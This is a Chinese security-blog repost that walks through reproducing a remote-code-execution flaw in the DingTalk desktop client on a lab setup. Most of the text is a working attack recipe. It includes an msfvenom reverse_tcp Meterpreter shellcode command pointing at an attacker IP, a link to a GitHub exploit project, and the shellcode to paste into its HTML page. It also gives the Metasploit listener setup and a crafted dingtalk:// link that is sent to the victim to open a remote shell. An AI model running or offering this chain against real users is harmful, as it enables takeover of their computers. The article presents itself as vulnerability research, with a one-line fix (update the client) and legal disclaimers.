0x01 影响版本
钉钉版本< 6.3.25-Release.2149108
0x02 复现过程
1、环境说明:
攻击机:192.168.31.198(Kali Linux)
目标机:192.168.239.135(windows10)
钉钉6.3.5版本下载地址:
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
注:此处有个问题,打开旧版钉钉会提示版本过老无法正常登录
解决办法:
在另一台电脑安装最新版的钉钉,打开安装路径,复制staticconfig.xml文件替换到旧版即可,之后正常登录,记得把自动登录勾选上。然后在软件内设置不自动更新,退出后再把原先的配置文件覆盖回来即可解决乱码问题。其实不解决乱码问题也能触发payload。
2、msf生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=8834 -f csharp
3、替换payload里的shellcode
项目地址:https://github.com/crazy0x70/dingtalk-RCE
替换项目中test.html中的shellcode,需要替换的位置为
var shellcode=new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28...])
4、msf监听反弹端口
use exploit/multi/handler
set LHOST 192.168.31.198
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run
5、开启web服务,构造poc发送给目标机
poc:dingtalk://dingtalkclient/page/link?url=http://192.168.31.198:8080/dingding.html&pc_slide=true
6、payload触发
-
软件不乱码的情况下,直接发送在聊天框点击触发即可
-
乱码情况下直接在浏览器访问
点击打开,kali就能反弹到shell
0x03 修复建议
更新到最新版即可
公众号回复:1008,获取复现环境及工具。
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。
✦
✦
原文始发于微信公众号(白帽学子):【漏洞复现】钉钉RCE反弹shell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论